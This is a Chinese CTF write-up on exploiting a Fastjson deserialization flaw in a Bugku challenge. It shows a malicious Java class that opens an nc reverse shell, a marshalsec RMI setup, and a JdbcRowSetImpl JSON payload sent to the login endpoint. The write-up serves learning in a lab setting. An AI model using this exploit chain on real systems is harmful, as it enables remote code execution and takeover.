以bugku的一道题为例:
漏洞验证ctf.bugku Java Fastjson
使用python脚本测试一下漏洞存在。
环境搭建这里我使用RMI服务进行漏洞利用,所以先搭建Java rmi服务,因为不是在本地测试,这里是在公网服务器上搭建的。
下载一个marshalsec
git clone https://github.com/mbechler/marshalsec
新建一个用于执行命令的java类文件
vi fastjson.java
import java.lang.Runtime;
import java.lang.Process;public class fastjson {
static {
try {
Runtime test = Runtime.getRuntime();
String commands = "nc 公网ip -e /bin/sh";
Process commmand = test.exec(commands);
commmand.waitFor();
} catch (Exception e) {
System.out.println("error!");
}
}
}
编译fastjson.java文件,会在当前目录下生成一个fastjson.class文件
javac fastjson.java
使用python开启一个临时的http服务
python3 -m http.server
开启RMI服务,并且监听一个端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:1000/#fastjson 4444
使用nc监听刚才恶意java类文件中的端口
漏洞利用nc -lvvp 2223
对登录框进行登录数据包抓取
查看一下网页源代码
利用burp构造恶意post请求
POST /login HTTP/1.1
Host: 114.67.175.224:17752
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 213
Origin: http://114.67.175.224:17752
DNT: 1
Connection: close
Referer: http://114.67.175.224:17752/
cookie: PHPSESSID=uvgca1b5t9j5fekvi8c5ea3o65{"user":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},"password":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi:/ip:4444/fastjson",
"autoCommit":true
}}
重放后返回空白
这时候公网服务器上已经接收到了shell会话
cat flag
结语
长大以后我们都喜欢说"小孩子才做选择",但现实是只有小孩子才有照单全收的资格,而我们不得不让理性压抑情感,才能做出一些从长远来看正确的决定。



